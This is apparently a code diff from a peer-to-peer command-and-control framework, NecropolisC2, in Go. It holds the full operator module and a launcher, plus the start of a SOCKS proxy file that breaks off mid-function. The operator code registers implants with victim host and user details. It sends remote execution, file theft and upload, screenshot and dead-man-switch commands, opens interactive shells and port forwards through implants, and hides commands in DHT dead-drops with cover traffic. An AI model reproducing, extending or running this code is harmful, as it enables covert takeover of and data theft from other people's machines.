func installGit() (string, error) {
homeDir, _ := os.UserHomeDir()
installDir := filepath.Join(homeDir, ".necropolis", "mingit")
if p := findGit(installDir); p != "" {
return p, nil
}
switch runtime.GOOS {
case "windows":
log.Printf("[*] downloading MinGit...")
url := "https://github.com/git-for-windows/git/releases/download/v2.47.0.windows.1/MinGit-2.47.0-64-bit.zip"
archive, err := os.CreateTemp("", "mingit-*.zip")
if err != nil {
return "", fmt.Errorf("create temp: %w", err)
}
defer os.Remove(archive.Name())
if err := downloadFile(url, archive); err != nil {
return "", fmt.Errorf("download mingit: %w", err)
}
archive.Close()
os.RemoveAll(installDir)
os.MkdirAll(installDir, 0755)
if err := extractZip(archive.Name(), installDir); err != nil {
return "", fmt.Errorf("extract mingit: %w", err)
}
if p := findGit(installDir); p != "" {
log.Printf("[+] MinGit installed at %s", p)
return p, nil
}
return "", fmt.Errorf("MinGit extracted but git executable not found under %s", installDir)
case "linux":
for _, pm := range [][]string{
{"apk", "add", "git"},
{"apt-get", "install", "-y", "git"},
{"yum", "install", "-y", "git"},
} {
if _, err := exec.LookPath(pm[0]); err != nil {
continue
}
cmd := exec.Command(pm[0], pm[1:]...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if cmd.Run() == nil {
if p, err := exec.LookPath("git"); err == nil {
return p, nil
}
}
}
return "", fmt.Errorf("could not install git via package manager; install git manually")
case "darwin":
for _, pm := range [][]string{
{"xcode-select", "--install"},
{"brew", "install", "git"},
} {
if _, err := exec.LookPath(pm[0]); err != nil {
continue
}
cmd := exec.Command(pm[0], pm[1:]...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if cmd.Run() == nil {
if p, err := exec.LookPath("git"); err == nil {
return p, nil
}
}
}
return "", fmt.Errorf("could not install git; install git manually")
default:
return "", fmt.Errorf("unsupported OS: %s", runtime.GOOS)
}
}
func downloadFile(url string, out *os.File) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("bad status: %s", resp.Status)
}
_, err = io.Copy(out, resp.Body)
return err
}
+925
View File
@@ -0,0 +1,925 @@
// Operator represents the C2 operator node. Handles implant registration, command
// dispatch, beacon monitoring, and DHT dead-drop publishing.
package core
import (
"context"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
"google.golang.org/protobuf/proto"
"golang.org/x/term"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
"github.com/Yenn503/NecropolisC2/pkg/transport"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)
// ImplantRecord holds the registration state and metadata for one implant.
type ImplantRecord struct {
Name string
Hostname string
UUID string
Username string
UID string
GID string
OS string
Arch string
PID int32
PeerID string
Version string
ActiveC2 string
Locale string
LastCheckin time.Time
Interval time.Duration
Jitter time.Duration
PublicKey crypto.PubKey
Disconnected bool
IsRelay bool
BoxPubKey *[32]byte
}
// Operator owns the operator's identity, network node, known implants, and SOCKS proxies.
type Operator struct {
keys *cryptography.OperatorKey
node *transport.Node
messenger *transport.Messenger
implants map[string]*ImplantRecord
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
socksProxies map[int]*SocksInstance
socksMu sync.Mutex
cmdNonce int64
SelectedPID string
// lastCmdTime throttles per-implant command dispatch to 10/sec.
lastCmdTime map[string]time.Time
cmdMu sync.Mutex
}
// NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger.
func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) {
ctx, cancel := context.WithCancel(ctx)
nodeCfg := transport.NodeConfig{
ListenAddr: "/ip4/0.0.0.0/tcp/8443/ws",
BootstrapPeers: transport.DefaultBootstrapAddrs(),
EnableRelay: true,
EnableRelayService: true,
EnableMDNS: false,
EnableDHT: true,
RelayAddrs: relayAddrs,
PrivateKey: keys.PrivateKey,
}
node, err := transport.NewNode(ctx, nodeCfg,
libp2p.NoTransports,
libp2p.Transport(ws.New),
libp2p.Transport(tcp.NewTCPTransport),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create node: %w", err)
}
o := &Operator{
keys: keys,
node: node,
implants: make(map[string]*ImplantRecord),
socksProxies: make(map[int]*SocksInstance),
lastCmdTime: make(map[string]time.Time),
ctx: ctx,
cancel: cancel,
}
o.messenger = transport.NewOperatorMessenger(ctx, node, keys)
o.messenger.SetOperatorID(keys.PeerID)
o.messenger.SetAuthToken(keys.AuthToken)
o.messenger.SetHandler(o.handleMessage)
return o, nil
}
// SetSelected sets the peer ID whose results print to stdout.
func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid }
// senderID extracts the libp2p peer ID from an envelope's embedded public key.
func (o *Operator) senderID(env *apb.Envelope) string {
pubKey, err := transport.PubKeyFromEnvelope(env)
if err != nil {
return ""
}
id, err := peer.IDFromPublicKey(pubKey)
if err != nil {
return ""
}
return id.String()
}
// resultf prints to stdout if from the selected implant, otherwise logs quietly.
func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) {
msg := fmt.Sprintf(format, args...)
sid := o.senderID(env)
if sid != "" && sid == o.SelectedPID {
fmt.Println(msg)
} else {
log.Printf(msg + " [from " + sid[:12] + "]")
}
}
// Start launches DHT advertising, beacon listener, relay discovery, and the disconnect
// watchdog. Returns after setting up all background goroutines.
func (o *Operator) Start() error {
log.Printf("[operator] PeerID: %s", o.node.ID().String())
log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic())
log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic())
for _, addr := range o.node.Addrs() {
log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String())
}
o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream)
if err := o.node.StartDiscovery(); err != nil {
return fmt.Errorf("discovery: %w", err)
}
ns := o.messenger.RendezvousString()
if o.node.DHT != nil {
go func() {
for o.node.DHT.RoutingTable().Size() == 0 {
select {
case <-o.ctx.Done():
return
case <-time.After(2 * time.Second):
}
}
for o.node.Advertise(o.ctx, ns) != nil {
select {
case <-o.ctx.Done():
return
case <-time.After(10 * time.Second):
}
}
for {
o.node.Advertise(o.ctx, ns)
select {
case <-o.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}()
relayNS := o.node.RelayRendezvousString(o.keys.PeerID)
go o.advertiseRelayLoop(relayNS)
go o.discoverRelayPeersLoop(relayNS)
}
if err := o.messenger.ListenBeacons(o.ctx); err != nil {
return fmt.Errorf("listen beacons: %w", err)
}
go o.disconnectCheckLoop()
return nil
}
// disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines.
func (o *Operator) disconnectCheckLoop() {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
o.mu.Lock()
now := time.Now()
for id, rec := range o.implants {
if rec.Disconnected {
continue
}
timeout := rec.Interval + rec.Jitter + 30*time.Second
if now.Sub(rec.LastCheckin) > timeout {
rec.Disconnected = true
o.implants[id] = rec
log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)",
rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second))
}
}
o.mu.Unlock()
case <-o.ctx.Done():
return
}
}
}
// advertiseRelayLoop periodically advertises this node as a relay in the DHT.
func (o *Operator) advertiseRelayLoop(ns string) {
if !o.node.WaitForDHT(o.ctx) {
return
}
for {
if o.node.DHT == nil {
return
}
if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil {
log.Printf("[operator] relay advertise: %v", err)
}
select {
case <-o.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
// discoverRelayPeersLoop finds relay peers in the DHT and connects to them.
func (o *Operator) discoverRelayPeersLoop(ns string) {
if !o.node.WaitForDHT(o.ctx) {
return
}
for {
peers, err := o.node.FindRelayPeers(o.ctx, ns, 32)
if err != nil {
log.Printf("[operator] find relay peers: %v", err)
goto sleep
}
for _, pi := range peers {
if pi.ID == o.node.ID() {
continue
}
cs := o.node.Host.Network().Connectedness(pi.ID)
if cs == network.Connected || cs == network.Limited {
continue
}
connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
if err := o.node.ConnectToPeer(connCtx, pi); err == nil {
log.Printf("[operator] connected to relay peer %s", pi.ID.String())
}
cancel()
}
sleep:
select {
case <-o.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
// handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the
// correct result handler.
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
if err == nil {
env.Data = decrypted
}
}
switch env.Type {
case transport.MsgTypeRegister:
o.handleBeaconRegister(env)
case transport.MsgTypeCover:
// cover traffic silently dropped
case transport.MsgTypePs:
o.handlePsResult(env)
case transport.MsgTypeLs:
o.handleLsResult(env)
case transport.MsgTypeExecute:
o.handleExecuteResult(env)
case transport.MsgTypeCd:
o.handleCdResult(env)
case transport.MsgTypePwd:
o.handlePwdResult(env)
case transport.MsgTypeDownload:
o.handleDownloadResult(env)
case transport.MsgTypeUpload:
o.handleUploadResult(env)
case transport.MsgTypeScreenshot:
o.handleScreenshotResult(env)
case transport.MsgTypeKill:
o.handleKillResult(env)
default:
log.Printf("[operator] received message type=%d", env.Type)
}
}
// handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream,
// verifies signatures, and dispatches them through handleMessage.
func (o *Operator) handleBeaconStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
for {
var msgLen uint32
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
errStr := err.Error()
if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") {
log.Printf("[operator] beacon stream read len: %v", err)
}
return
}
if msgLen > 1<<20 {
log.Printf("[operator] beacon stream message too large: %d", msgLen)
return
}
data := make([]byte, msgLen)
if _, err := io.ReadFull(s, data); err != nil {
log.Printf("[operator] beacon stream read data: %v", err)
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(data, env); err != nil {
log.Printf("[operator] beacon stream unmarshal: %v", err)
continue
}
var pubKey crypto.PubKey
if len(env.SenderKey) > 0 {
pubKey, _ = transport.PubKeyFromEnvelope(env)
senderID, err := peer.IDFromPublicKey(pubKey)
if err != nil || senderID != remotePeer {
log.Printf("[operator] beacon stream sender mismatch")
continue
}
}
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
log.Printf("[operator] beacon stream invalid signature: %v", err)
continue
}
o.handleMessage(o.ctx, env, pubKey)
}
}
// handleBeaconRegister processes an implant registration beacon, updating or creating the
// implant record and recording the implant's public key for signature verification.
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
if o.messenger.IsReplay(env.ID) {
log.Printf("[operator] dropped replay beacon id=%d", env.ID)
return
}
beaconReg := &apb.Z1{}
if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
log.Printf("[operator] unmarshal beacon register: %v", err)
return
}
reg := beaconReg.Register
if reg == nil {
log.Printf("[operator] beacon register missing Register field")
return
}
pubKey, err := transport.PubKeyFromEnvelope(env)
if err != nil {
log.Printf("[operator] get sender key from envelope: %v", err)
return
}
peerID, err := peer.IDFromPublicKey(pubKey)
if err != nil {
log.Printf("[operator] peer id from sender key: %v", err)
return
}
peerIDStr := peerID.String()
var boxPubKey *[32]byte
if len(reg.BoxPubKey) == 32 {
var key [32]byte
copy(key[:], reg.BoxPubKey)
boxPubKey = &key
}
rec := &ImplantRecord{
Name: reg.Name,
Hostname: reg.Hostname,
UUID: reg.UUID,
Username: reg.Username,
UID: reg.UID,
GID: reg.GID,
OS: reg.OS,
Arch: reg.Arch,
PID: reg.PID,
PeerID: peerIDStr,
Version: reg.Version,
ActiveC2: reg.ActiveC2,
Locale: reg.Locale,
LastCheckin: time.Now(),
Interval: time.Duration(beaconReg.Interval) * time.Second,
Jitter: time.Duration(beaconReg.Jitter) * time.Second,
PublicKey: pubKey,
BoxPubKey: boxPubKey,
}
o.mu.Lock()
if existing, ok := o.implants[peerIDStr]; ok {
existing.LastCheckin = time.Now()
existing.Disconnected = false
existing.Hostname = reg.Hostname
existing.Username = reg.Username
existing.OS = reg.OS
existing.Arch = reg.Arch
existing.IsRelay = true
existing.BoxPubKey = boxPubKey
} else {
rec.IsRelay = true
o.implants[peerIDStr] = rec
log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr)
}
o.mu.Unlock()
o.messenger.AddKnownImplant(peerIDStr, pubKey)
}
// ListImplants returns all registered implant records sorted by peer ID.
func (o *Operator) ListImplants() []*ImplantRecord {
o.mu.RLock()
defer o.mu.RUnlock()
ids := make([]string, 0, len(o.implants))
for id := range o.implants {
ids = append(ids, id)
}
sort.Strings(ids)
out := make([]*ImplantRecord, 0, len(o.implants))
for _, id := range ids {
out = append(out, o.implants[id])
}
return out
}
// GetImplant looks up a single implant record by peer ID.
func (o *Operator) GetImplant(peerID string) *ImplantRecord {
o.mu.RLock()
defer o.mu.RUnlock()
return o.implants[peerID]
}
// sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct
// command stream to the implant, and publishes the envelope as a DHT dead-drop.
func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error {
o.cmdMu.Lock()
if last, ok := o.lastCmdTime[implantPeerID]; ok {
if time.Since(last) < 100*time.Millisecond {
o.cmdMu.Unlock()
return fmt.Errorf("rate limited — wait before sending another command")
}
}
o.lastCmdTime[implantPeerID] = time.Now()
o.cmdMu.Unlock()
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
data, err := proto.Marshal(msg)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
env := o.messenger.CreateEnvelope(msgType, data)
rec := o.GetImplant(implantPeerID)
if rec != nil && rec.BoxPubKey != nil {
encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey)
if err != nil {
return fmt.Errorf("encrypt command: %w", err)
}
env.Data = encrypted
}
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("signing bytes: %w", err)
}
sig, err := o.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "command")
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
if err != nil {
return fmt.Errorf("open command stream: %w", err)
}
defer s.Close()
envData, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
return fmt.Errorf("write len: %w", err)
}
if _, err := s.Write(envData); err != nil {
return fmt.Errorf("write data: %w", err)
}
// DHT dead-drop — implants unable to reach operator via direct stream or
// relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK.
o.cmdNonce++
dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce)
go func() {
_ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent
}()
return nil
}
// Ps sends a process listing command to the given implant.
func (o *Operator) Ps(implantPeerID string) error {
req := &apb.Z12{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
}
// Ls sends a directory listing command to the given implant.
func (o *Operator) Ls(implantPeerID string, path string) error {
req := &apb.Z16{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
}
// Execute sends a command execution request to the given implant.
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
req := &apb.Z14{
Path: cmd,
Args: args,
Output: true,
}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
}
// DeadMan sends a dead man switch configuration to the implant — a command that fires
// automatically if the implant loses contact with the operator.
func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error {
payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds)
env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload))
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("signing bytes: %w", err)
}
sig, err := o.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id: %w", err)
}
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
defer cancel()
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
if err != nil {
return fmt.Errorf("open command stream: %w", err)
}
defer s.Close()
envData, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
return fmt.Errorf("write len: %w", err)
}
_, err = s.Write(envData)
return err
}
// handlePsResult prints the process listing returned by an implant.
func (o *Operator) handlePsResult(env *apb.Envelope) {
result := &apb.Z13{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ps result: %v", err)
return
}
o.resultf(env, "[ps] %d processes", len(result.Processes))
for _, p := range result.Processes {
o.resultf(env, " %s (PID: %d)", p.Name, p.Pid)
}
}
// handleLsResult prints a directory listing result from an implant.
func (o *Operator) handleLsResult(env *apb.Envelope) {
result := &apb.Z17{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ls result: %v", err)
return
}
o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files))
}
// handleExecuteResult prints the stdout/stderr returned by an implant command execution.
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
result := &apb.Z15{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal execute result: %v", err)
return
}
o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr))
if len(result.Stdout) > 0 {
o.resultf(env, string(result.Stdout))
}
if len(result.Stderr) > 0 {
o.resultf(env, string(result.Stderr))
}
}
// handleCdResult prints the result of a change-directory command on an implant.
func (o *Operator) handleCdResult(env *apb.Envelope) {
result := &apb.Z21{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal cd result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "cd error: %s", result.Response.ErrMsg)
} else {
o.resultf(env, "cd: %s", result.Path)
}
}
// handlePwdResult prints the current working directory returned by an implant.
func (o *Operator) handlePwdResult(env *apb.Envelope) {
result := &apb.Z21{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal pwd result: %v", err)
return
}
o.resultf(env, "%s", result.Path)
}
// handleScreenshotResult prints the screenshot byte count or error from an implant.
func (o *Operator) handleScreenshotResult(env *apb.Envelope) {
result := &apb.Z3{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal screenshot result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "screenshot error: %s", result.Response.ErrMsg)
} else {
o.resultf(env, "screenshot: %d bytes", len(result.Data))
}
}
// handleDownloadResult writes a file downloaded from an implant to the local filesystem.
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
result := &apb.Z23{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal download result: %v", err)
return
}
if !result.Exists {
o.resultf(env, "download: file does not exist")
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "download error: %s", result.Response.ErrMsg)
return
}
path := result.Path
if path == "" {
path = "downloaded"
}
safePath := filepath.Join("downloads", filepath.Base(path))
if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil {
o.resultf(env, "download: mkdir %s: %v", safePath, err)
return
}
if err := os.WriteFile(safePath, result.Data, 0644); err != nil {
o.resultf(env, "download: write %s: %v", safePath, err)
return
}
o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data))
}
// handleUploadResult prints the result of a file upload to an implant.
func (o *Operator) handleUploadResult(env *apb.Envelope) {
result := &apb.Z25{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal upload result: %v", err)
return
}
if result.Response != nil && result.Response.Err != 0 {
o.resultf(env, "upload error: %s", result.Response.ErrMsg)
return
}
o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path)
}
// handleKillResult confirms that an implant received and acted on the kill command.
func (o *Operator) handleKillResult(env *apb.Envelope) {
o.resultf(env, "[kill] implant exited")
}
// Cd changes the working directory on the selected implant.
func (o *Operator) Cd(implantPeerID string, path string) error {
req := &apb.Z19{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
}
// Pwd prints the working directory on the selected implant.
func (o *Operator) Pwd(implantPeerID string) error {
req := &apb.Z20{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
}
// Kill sends the terminate command to the selected implant.
func (o *Operator) Kill(implantPeerID string) error {
req := &apb.Z20{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req)
}
// Download requests a file from the implant at the given path.
func (o *Operator) Download(implantPeerID string, path string) error {
req := &apb.Z22{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
}
// Upload sends a file to the implant at the given path, overwriting if it exists.
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
req := &apb.Z24{
Path: path,
Data: data,
Overwrite: true,
}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
}
// UploadFile reads a local file (≤100MB) and uploads it to the implant.
func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error {
fi, err := os.Stat(localPath)
if err != nil {
return fmt.Errorf("stat %s: %w", localPath, err)
}
if fi.Size() > 100<<20 {
return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size())
}
data, err := os.ReadFile(localPath)
if err != nil {
return fmt.Errorf("read %s: %w", localPath, err)
}
return o.Upload(implantPeerID, remotePath, data)
}
type shellEscaper struct {
r io.Reader
escaped bool
}
func (e *shellEscaper) Read(p []byte) (int, error) {
if e.escaped {
return 0, fmt.Errorf("shell escape")
}
n, err := e.r.Read(p)
if n > 0 {
for i := 0; i < n; i++ {
if p[i] == 0x1d { // Ctrl+]
e.escaped = true
return 0, fmt.Errorf("shell escape")
}
}
}
return n, err
}
// OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal
// is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit.
func (o *Operator) OpenShell(implantPeerID string) error {
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "shell")
s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID)
if err != nil {
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
}
defer s.Close()
rows, cols, err := term.GetSize(int(os.Stdin.Fd()))
if err != nil {
rows, cols = 30, 120
}
if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil {
return fmt.Errorf("send rows: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil {
return fmt.Errorf("send cols: %w", err)
}
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
return fmt.Errorf("raw terminal: %w", err)
}
defer term.Restore(int(os.Stdin.Fd()), oldState)
errCh := make(chan error, 2)
go func() {
_, err := io.Copy(s, &shellEscaper{r: os.Stdin})
errCh <- err
}()
go func() {
_, err := io.Copy(os.Stdout, s)
errCh <- err
}()
<-errCh
fmt.Println() // newline after shell exits
return nil
}
// Portfwd listens on a local TCP port and tunnels connections through the implant to the
// specified target address.
func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error {
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err)
}
defer listener.Close()
log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID)
for {
localConn, err := listener.Accept()
if err != nil {
return err
}
go func() {
defer localConn.Close()
pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second)
defer pcancel()
pctx = network.WithAllowLimitedConn(pctx, "portfwd")
s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID)
if err != nil {
log.Printf("[operator] portfwd stream: %v", err)
return
}
defer s.Close()
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
log.Printf("[operator] portfwd send target: %v", err)
return
}
go io.Copy(s, localConn)
io.Copy(localConn, s)
}()
}
}
// Close cancels the operator context and shuts down the node.
func (o *Operator) Close() error {
o.cancel()
return o.node.Close()
}
+94
View File
@@ -0,0 +1,94 @@
package core
import (
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
// colorLogWriter wraps a writer and colorizes known log prefixes.
type colorLogWriter struct{ w io.Writer }
func (c *colorLogWriter) Write(p []byte) (int, error) {
s := string(p)
switch {
case strings.Contains(s, "[operator] "):
s = strings.Replace(s, "[operator] ", boldCyan("[operator] "), 1)
case strings.Contains(s, "[implant] "):
s = strings.Replace(s, "[implant] ", boldGreen("[implant] "), 1)
case strings.Contains(s, "[evasion] "):
s = strings.Replace(s, "[evasion] ", magentaBold("[evasion] "), 1)
case strings.Contains(s, "[socks] "):
s = strings.Replace(s, "[socks] ", dimYellow("[socks] "), 1)
case strings.Contains(s, "[node] "):
s = strings.Replace(s, "[node] ", dim+"[node]"+reset+" ", 1)
case strings.Contains(s, "[WARN] "):
s = strings.Replace(s, "[WARN]", boldRed("[WARN]"), 1)
case strings.Contains(s, "DISCONNECTED"):
s = strings.Replace(s, "DISCONNECTED", boldRed("DISCONNECTED"), 1)
}
return c.w.Write([]byte(s))
}
func Run(relayAddrs []string) error {
log.SetOutput(&colorLogWriter{w: os.Stderr})
if err := os.MkdirAll(necropolisDir(), 0700); err != nil {
return fmt.Errorf("create necropolis directory: %w", err)
}
keys, err := cryptography.LoadOrGenerateOperatorKey(keyPath())
if err != nil {
return fmt.Errorf("load operator key: %w", err)
}
pubPath := pubKeyPath()
if _, err := os.Stat(pubPath); os.IsNotExist(err) {
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
if err == nil {
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
log.Printf("[operator] public key exported: %s", pubPath)
}
}
}
log.Printf("[operator] peer ID: %s", keys.PeerID.String())
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
op, err := NewOperator(ctx, keys, relayAddrs)
if err != nil {
return fmt.Errorf("create operator: %w", err)
}
defer op.Close()
if err := op.Start(); err != nil {
return fmt.Errorf("start operator: %w", err)
}
op.RunCLI()
return nil
}
func necropolisDir() string {
home, err := os.UserHomeDir()
if err != nil {
return ".necropolis"
}
return filepath.Join(home, ".necropolis")
}
func keyPath() string {
return filepath.Join(necropolisDir(), "operator.key")
}
func pubKeyPath() string {
return filepath.Join(necropolisDir(), "operator.pub")
}
+374
View File
@@ -0,0 +1,374 @@
package core
import (
"bufio"
"context"
"encoding/binary"
"encoding/json"
"fmt"
"io"
"log"
"math/rand"
"net"
"os"
"path/filepath"
"strconv"
"time"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"golang.org/x/crypto/bcrypt"
"github.com/Yenn503/NecropolisC2/pkg/transport"
)
type SocksInstance struct {
Port int
ImplantID string
Username string
Listener net.Listener
Cancel context.CancelFunc
StartTime time.Time
Random bool
}
type SocksCreds struct {
Username string `json:"username"`
PasswordHash string `json:"password_hash"`
}
func socksConfigPath() string {
return filepath.Join(necropolisDir(), "socks.json")
}
func LoadSocksCreds() (*SocksCreds, error) {
data, err := os.ReadFile(socksConfigPath())
if err != nil {
return nil, err
}
c := &SocksCreds{}
if err := json.Unmarshal(data, c); err != nil {
return nil, err
}
return c, nil
}
func SaveSocksCreds(c *SocksCreds) error {
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("marshal socks creds: %w", err)
}
return os.WriteFile(socksConfigPath(), data, 0600)
}
func ClearSocksCreds() error {
return os.Remove(socksConfigPath())
}
func hashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return "", fmt.Errorf("bcrypt hash: %w", err)
}
return string(bytes), nil
}
func checkPassword(password, hash string) bool {
return bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil
}
func (o *Operator) pickImplantPeerID(idArg string) (string, *ImplantRecord, error) {
implants := o.ListImplants()
var connected []*ImplantRecord
